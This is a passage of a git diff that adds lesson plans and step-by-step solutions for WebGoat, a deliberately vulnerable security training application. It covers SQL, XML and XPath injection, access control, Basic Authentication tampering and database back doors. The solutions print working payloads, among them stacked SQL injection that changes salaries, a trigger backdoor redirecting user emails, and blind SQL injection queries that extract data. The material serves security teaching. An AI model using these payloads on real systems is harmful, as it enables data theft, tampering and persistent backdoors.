+Some web interfaces make use of Web Services in the background. If the frontend relies on the web service for all input validation, it may be possible to corrupt the XML that the web interface sends. +
+
+In this exercise, try to change the password for a user other than 101. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/WsSqlInjection.html b/main/project/WebContent/lesson_plans/WsSqlInjection.html new file mode 100644 index 000000000..95738b0bf --- /dev/null +++ b/main/project/WebContent/lesson_plans/WsSqlInjection.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Perform Web Service SQL Injection

+
+

Concept / Topic To Teach:

+ +Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file. +

General Goal(s):

+Check the web service description language (WSDL) file and try to obtain multiple customer credit card numbers. You will not see the results returned to this screen. When you believe you have suceeded, refresh the page and look for the 'green star'. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/XMLInjection.html b/main/project/WebContent/lesson_plans/XMLInjection.html new file mode 100644 index 000000000..fc9c73697 --- /dev/null +++ b/main/project/WebContent/lesson_plans/XMLInjection.html @@ -0,0 +1,19 @@ +
+

Lesson Plan Title: How to Perform XML Injection Attacks.

+
+ +

Concept / Topic To Teach:

+ This lesson teaches how to perform XML Injection attacks. +
+
+

+How the attacks works: +

+AJAX applications use XML to exchange information with the server. This XML can be easily intercepted and altered by a malicious attacker. + +
+

General Goal(s):

+ +WebGoat-Miles Reward Miles shows all the rewards available. Once you've entered your account ID, the lesson will show you your balance and the products you can afford. Your goal is to try to add more rewards to your allowed set of rewards. Your account ID is 836239. + + diff --git a/main/project/WebContent/lesson_plans/XPATHInjection.html b/main/project/WebContent/lesson_plans/XPATHInjection.html new file mode 100644 index 000000000..926d8f151 --- /dev/null +++ b/main/project/WebContent/lesson_plans/XPATHInjection.html @@ -0,0 +1,22 @@ +
+

Lesson Plan Title: How to Perform XPATH Injection Attacks.

+
+ +

Concept / Topic To Teach:

+ This lesson teaches how to perform XPath Injection attacks. +
+
+

+How the attacks works: +

+Similar to SQL Injection, XPATH Injection attacks occur when a web site uses user supplied information to query XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured or access data that they may not normally have access to. +They may even be able to elevate their privileges on the web site if the xml data is being used for authentication (such as an xml based user file). + +Querying XML is done with XPath, a type of simple descriptive statement that allows the xml query to locate a piece of information. Like SQL you can specify certain attributes to find and patterns to match. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page. This input must be sanitized to verify that it doesn't mess up the XPath query and return the wrong data. + + +
+

General Goal(s):

+ +The form below allows employees to see all their personal data including their salaries. Your account is Mike/test123. Your goal is to try to see other employees data as well. + diff --git a/main/project/WebContent/lesson_solutions/AccessControlMatrix.html b/main/project/WebContent/lesson_solutions/AccessControlMatrix.html new file mode 100644 index 000000000..457b0ee7d --- /dev/null +++ b/main/project/WebContent/lesson_solutions/AccessControlMatrix.html @@ -0,0 +1,707 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: Using an +Access Control Matrix

+ +

 

+ +

Concept / +Topic To Teach:

+ + + +

In a +role-based access control scheme, a role represents a set of access permissions +and privileges. A user can be assigned one or more roles. A role-based access +control scheme normally consists of two parts: role permission management and +role assignment. A broken role-based access control scheme might allow a user +to perform accesses that are not allowed by his/her assigned roles, or somehow +allow privilege escalation to an unauthorized role.

+ +

 

+ +

General +Goal(s):

+ +

Each user is +a member of a role that is allowed to access only certain resources. Your goal +is to explore the access control rules that govern this site. Only the [Admin] +group should have access to the 'Account Manager' resource.

+ +

 

+ +

Solution:

+ +

 

+ +

This exercise +is straightforward. You need to find a user where you can access a resource +that you shouldn’t be able to access.

+ +

After a few attempts +you will learn that Larry can access resources of the role Account Manager.

+ +

 

+ +

+ +

Figure 1 Lesson 9

+ +

 

+ +

+ +

Figure 2 Lesson 9 Completed

+ +

 

+ +
+
+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/Thumbs.db b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/Thumbs.db new file mode 100644 index 000000000..b269eb3f5 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/Thumbs.db differ diff --git a/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/filelist.xml b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/filelist.xml new file mode 100644 index 000000000..d016d8ce4 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/filelist.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image001.png b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image001.png new file mode 100644 index 000000000..ebb3f8cb8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image002.jpg b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image002.jpg new file mode 100644 index 000000000..eca131d99 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image003.png b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image003.png new file mode 100644 index 000000000..5efe24680 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image004.jpg b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image004.jpg new file mode 100644 index 000000000..64245b784 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/themedata.thmx b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/AccessControlMatrix_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors.html b/main/project/WebContent/lesson_solutions/BackDoors.html new file mode 100644 index 000000000..02b8ab91b --- /dev/null +++ b/main/project/WebContent/lesson_solutions/BackDoors.html @@ -0,0 +1,841 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Create Database Back Door Attacks.

+ +

 

+ +

Concept / +Topic To Teach:

+ +

How to Create +Database Back Door Attacks.

+ +

 

+ +

How the +attacks works:

+ +

Databases are +used usually as a backend for web applications. Also it is used as a media of +storage. It can also be used as a place to store a malicious activity such as a +trigger. A trigger is called by the database management system upon the +execution of another database operation like insert, select, update or delete. +An attacker for example can create a trigger that would set his email address +instead of every new user's email address.

+ +

 

+ +

General +Goal(s):

+ +

Your +goal should be to learn how you can exploit a vulnerable query to create a +trigger.
+You will not be able to actually create one in this lesson because the +underlying database engine used with WebGoat doesn't support triggers.
+Your login ID is 101.

+ +

 

+ +

+ +

Figure 1 Database backdoor

+ +

 

+ +

Solution:

+ +

Enter your user ID 101 to see how the application works.

+ +

 

+ +

+ +

Figure 2 User ID is 101

+ +

 

+ +

As you +probably noticed, the input is not validated so very easy to do SQL Injection. +To have two SQL queries executed, you need to separate them using a sem-colon. +For example select * from employees; drop table employees will first select all +the users from employees and then drop the table employees. Not all databases +support multiple SQL statements.

+ +

 

+ +

Here you need +to update the salary of the employees. This requires an update query like +update employees set salary=10000.

+ +

 

+ +

Inject this +for the user ID: 101; update employee set salary=10000

+ +

 

+ +

+ +

Figure 3 Update query

+ +

 

+ +

+ +

Figure 4 Stage 1 completed

+ +

 

+ +

To create a +database trigger, you need to inject the following SQL: CREATE TRIGGER +myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET +email='john@hackme.com'WHERE userid = NEW.userid

+ +

 

+ +

+ +

Figure 5 Insert trigger

+ +

 

+ +

+ +

Figure 6 Lesson completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/BackDoors_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/BackDoors_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/filelist.xml b/main/project/WebContent/lesson_solutions/BackDoors_files/filelist.xml new file mode 100644 index 000000000..0c8218170 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/BackDoors_files/filelist.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image001.png b/main/project/WebContent/lesson_solutions/BackDoors_files/image001.png new file mode 100644 index 000000000..5a4d94ac7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image003.png b/main/project/WebContent/lesson_solutions/BackDoors_files/image003.png new file mode 100644 index 000000000..8150275d8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image005.png b/main/project/WebContent/lesson_solutions/BackDoors_files/image005.png new file mode 100644 index 000000000..62ebf88f6 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image007.png b/main/project/WebContent/lesson_solutions/BackDoors_files/image007.png new file mode 100644 index 000000000..9960dbc61 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image009.png b/main/project/WebContent/lesson_solutions/BackDoors_files/image009.png new file mode 100644 index 000000000..be39f6ac3 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image011.png b/main/project/WebContent/lesson_solutions/BackDoors_files/image011.png new file mode 100644 index 000000000..ef6e16606 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image013.jpg b/main/project/WebContent/lesson_solutions/BackDoors_files/image013.jpg new file mode 100644 index 000000000..c25f12992 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image013.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image014.jpg b/main/project/WebContent/lesson_solutions/BackDoors_files/image014.jpg new file mode 100644 index 000000000..08f893f3d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image014.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image015.jpg b/main/project/WebContent/lesson_solutions/BackDoors_files/image015.jpg new file mode 100644 index 000000000..08c662842 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image015.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image016.jpg b/main/project/WebContent/lesson_solutions/BackDoors_files/image016.jpg new file mode 100644 index 000000000..9299a4a2f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image016.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image017.jpg b/main/project/WebContent/lesson_solutions/BackDoors_files/image017.jpg new file mode 100644 index 000000000..49760e726 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image017.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/image018.jpg b/main/project/WebContent/lesson_solutions/BackDoors_files/image018.jpg new file mode 100644 index 000000000..735ea196b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/image018.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BackDoors_files/themedata.thmx b/main/project/WebContent/lesson_solutions/BackDoors_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BackDoors_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication.html b/main/project/WebContent/lesson_solutions/BasicAuthentication.html new file mode 100644 index 000000000..f129f30c8 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/BasicAuthentication.html @@ -0,0 +1,932 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: Basic +Authentication

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Basic +Authentication is used to protect server side resources. The web server will send +a 401 authentication request with the response for the requested resource. The +client side browser will then prompt the user for a user name and password +using a browser supplied dialog box. The browser will base64 encode the user +name and password and send those credentials back to the web server. The web +server will then validate the credentials and return the requested resource if +the credentials are correct.

+ +

These +credentials are automatically resent for each page protected with this +mechanism without requiring the user to enter their credentials again.

+ +

 

+ +

General +Goal(s):

+ +

For this +lesson, your goal is to understand Basic Authentication and answer the +questions below.

+ +

 

+ +

+ +

Figure 1 Lesson 13

+ +

 

+ +

To learn the +name of the authentication header you must click “Submit” and intercept the +request with WebScarab.

+ +

 

+ +

+ +

Figure 2 Intercepted request

+ +

 

+ +

The HTTP +header that contains the Basic Authentication information is called +“Authorization”. This value Z3Vlc3Q6Z3Vlc3Q= is Base64 encoded. You can decode +this by using WebScarab – Tools – Transcoder.

+ +

 

+ +

+ +

Figure 3 WebScarabs Transcoder

+ +

 

+ +

Click Base64 +decode.

+ +

 

+ +

+ +

Figure 4 Decode value

+ +

 

+ +

These values must +be used to complete the questions.

+ +

 

+ +

+ +

Figure 5 Answers

+ +

 

+ +

 

+ +

+ +

Figure 6 Part 1 completed

+ +

 

+ +

For this +lesson it is very important that you understand how the JSESSIONID cookie is +used for session management and how the basic authorization header is used for +authentication.

+ +

+ +

 

+ +

When WebGoat +is able to retrieve a valid session you are automatically redirected to the +lesson you are working on. When there is no valid session, WebGoat will create +a new JSESSIONID and you will see the first lesson, HTTP Basics.

+ +

 

+ +

When there is +no session cookie, WebGoat will first verify if you already authenticated. If +not, you will get a pop-up window from the browser that requests your user name +and password (guest/guest). After the user credentials are validated, you will +access the Start-page of WebGoat and WebGoat will create a new JSESSIONID for +this session.

+ +

 

+ +

To access +WebGoat as the user basic, you need to corrupt the existing JSESSIONID and the +Authorization header. You can do this in WebScarab. Intercept the request and +delete a character from the JSESSIONID value and the Authorization header.

+ +

WebGoat will +require you to authenticate, so you now enter for the user name basic and for +the password basic. This logs you on as the user basic.

+ +

 

+ +

Remember our +JSESSIONID? This JSESSIONID is a non-persistent cookie which is set during our +first visit. Every request from the browser to WebGoat will have this cookie +value. Corrupting this value in the previous request will not change the cookie +value stored in browser memory and that is the reason why the old JSESSIONID +cookie is sent in every request.

+ +

 

+ +

+ +

Figure 7 Basic Authentication

+ +

 

+ +

You clearly +see that the JSESSIONID is the same like in the previous request, but the +Authorization header now contains the Base 64 encoded value of basic:basic (you +can decode this value in WebScarab – Tools – Transcoder).

+ +

+ +

Figure 8 Logged on as user basic

+ +

 

+ +

 

+ +

Because of the +valid JSESSIONID, WebGoat retrieves the authenticated user via the server-side +session object using getSession().getUser(). To make WebGoat believe that you +are authenticated as basic, you need to corrupt the JSESSIONID, as shown in the +screenshot below.

+ +

 

+ +

+ +

Figure 9 Corrupt JSESSIONID

+ +

 

+ +

 

+ +

+ +

Figure 10 Start page for user basic

+ +

 

+ +

Now you are +redirected to the WebGoat start page. The JSESSIONID is changed and you lost all +your green stars because the basic user hasn’t completed any lesson. Go to the +lesson “Basic Authentication” to complete this lesson.

+ +

 

+ +

+ +

Figure 11 Lesson 13 Completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/filelist.xml b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/filelist.xml new file mode 100644 index 000000000..7f6641efb --- /dev/null +++ b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/filelist.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image001.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image001.png new file mode 100644 index 000000000..58cb8db49 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image003.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image003.png new file mode 100644 index 000000000..e7380275b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image005.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image005.png new file mode 100644 index 000000000..6984b9e74 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image007.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image007.png new file mode 100644 index 000000000..bebf90cda Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image009.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image009.png new file mode 100644 index 000000000..917746bad Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image011.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image011.png new file mode 100644 index 000000000..05f16f195 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image013.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image013.png new file mode 100644 index 000000000..f66852324 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image013.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image015.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image015.png new file mode 100644 index 000000000..d167a7f35 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image015.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image017.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image017.png new file mode 100644 index 000000000..9139ad257 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image017.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image019.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image019.png new file mode 100644 index 000000000..f8604adae Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image019.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image021.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image021.png new file mode 100644 index 000000000..5788c8d43 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image021.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image023.png b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image023.png new file mode 100644 index 000000000..368d0d456 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image023.png differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image025.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image025.jpg new file mode 100644 index 000000000..b1aeffb19 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image025.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image026.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image026.jpg new file mode 100644 index 000000000..8addcb872 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image026.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image027.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image027.jpg new file mode 100644 index 000000000..0245a850c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image027.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image028.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image028.jpg new file mode 100644 index 000000000..9e6b65ff8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image028.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image029.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image029.jpg new file mode 100644 index 000000000..3586cede5 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image029.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image030.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image030.jpg new file mode 100644 index 000000000..cdc430d9b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image030.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image031.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image031.jpg new file mode 100644 index 000000000..e9bb7a278 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image031.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image032.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image032.jpg new file mode 100644 index 000000000..b4e1f851a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image032.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image033.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image033.jpg new file mode 100644 index 000000000..468293b14 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image033.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image034.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image034.jpg new file mode 100644 index 000000000..3a463c317 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image034.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image035.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image035.jpg new file mode 100644 index 000000000..32f9278c2 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image035.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image036.jpg b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image036.jpg new file mode 100644 index 000000000..1ab696dcd Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/image036.jpg differ diff --git a/main/project/WebContent/lesson_solutions/BasicAuthentication_files/themedata.thmx b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BasicAuthentication_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection.html b/main/project/WebContent/lesson_solutions/BlindSqlInjection.html new file mode 100644 index 000000000..44fbeb577 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/BlindSqlInjection.html @@ -0,0 +1,904 @@ + + + + + + + + + + + + + + + + + + + +
+ +

 

+ +

Lesson Plan Title: How to Perform Blind SQL Injection

+ +

 

+ +

Concept / Topic To Teach:

+ +

SQL injection +attacks represent a serious threat to any database-driven site. The methods behind +an attack are easy to learn and the damage caused can range from considerable +to complete system compromise. Despite these risks an incredible number of +systems on the internet are susceptible to this form of attack.

+ +

 

+ +

Not only is +it a threat easily instigated, it is also a threat that, with a little +common-sense and forethought, can be almost totally prevented. This lesson will +show the student several examples of SQL injection.

+ +

 

+ +

It is always +good practice to sanitize all input data, especially data that will used in OS +command, scripts, and database queries.

+ +

 

+ +

General Goal(s):

+ +

The user +should be able to view all records in the specified table.  The user could add new records or modify +existing records.

+ +

 

+ +

From the hints J

+ +

Compound SQL +statements can be made by joining multiple tests with keywords like AND and OR. +Create a SQL statement that you can use as a true/false test and then select +the first character of the target element and do a start narrowing down the +character using > and <

+ +

 

+ +

The backend +database is Microsoft Access. Keep that in mind if you research SQL functions +on the Internet since different databases use some different functions and +syntax.

+ +

This is the +code for the query being built and issued by WebGoat:

+ +

 

+ +

"SELECT +* FROM user_data WHERE userid = " + accountNumber

+ +

The +application is taking your input and inserting it at the end of a pre-formed +SQL command. You will need to make use of the following SQL functions:

+ +

 

+ +

SELECT - +query for your target data and get a string

+ +

 

+ +

mid(string, +start, length) - returns a substring of string starting at the start character +and going for length characters

+ +

 

+ +

asc(string) +will return the ascii value of the first character in string

+ +

 

+ +

> and < +- once you have a character's value, compare it to a choosen one

+ +

Example: is +the first character of the first_name of userid 15613 less than 'M' (ascii 77)? +

+ +

 

+ +

101 AND (asc( +mid((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 ); +

+ +

 

+ +

If you get +back that account number is valid, then yes. If get back that the number +isinvalid then answer is no.

+ +

Another +example: is the second character of the first_name of userid 15613 greater than +'m' (ascii 109)?

+ +

 

+ +

101 AND (asc( +mid((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) > 109 +);

+ +

 

+ +

If you get back +that account number is valid, then yes. If get back that the number is invalid +then answer is no.

+ +

 

+ +

+ +

Figure 1 Lesson 16

+ +

For the +query: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=15613) +, 1 , 1) ) < 77 ); you will get a “Account number is valid”. If the +character is bigger then the value you get an invalid account error message.

+ +

 

+ +

+ +

Figure 2 Invalid account number

+ +

 

+ +

You can +change the < to = to make sure that you have the correct value.

+ +

This results +in the query 101 AND (asc( mid((SELECT first_name FROM user_data WHERE +userid=15613) , 1 , 1) ) = 74 );

+ +

 

+ +

+ +

Figure 3 First character

+ +

 

+ +

So you know +that ascii(74) is capital J. Now do the same for the second and all other +characters.

+ +

 

+ +

 

+ +

 

+ +

The query for +the second character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE +userid=15613) , 2 , 1) ) = 111 );

+ +

Ascii(111) = +o, so you have now Jo.

+ +

 

+ +

+ +

 

+ +

For the third +character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE +userid=15613) , 3 , 1) ) = 101 ); Ascii(101) = e

+ +

For the +fourth character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE +userid=15613) , 4 , 1) ) = 115 ); Ascii(115) = s

+ +

For the fifth +character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE +userid=15613) , 5 , 1) ) = 112); Ascii(112) = p

+ +

For the sixth +character: 101 AND (asc( mid((SELECT first_name FROM user_data WHERE +userid=15613) , 6 , 1) ) = 104); Ascii(104) = h

+ +

 

+ +

So the name +that you found is Joesph. Enter this in the text field to complete this lesson.

+ +

 

+ +

+ +

Figure 4 Enter the name Joesph

+ +

 

+ +

+ +

Figure 5 Lesson 16 Completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/filelist.xml new file mode 100644 index 000000000..085ceea56 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/filelist.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image001.png b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image001.png new file mode 100644 index 000000000..5fef4d85b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image003.png b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image003.png new file mode 100644 index 000000000..950942ed9 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image005.png b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image005.png new file mode 100644 index 000000000..8c3ee5181 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/BlindSqlInjection_files/image007.png 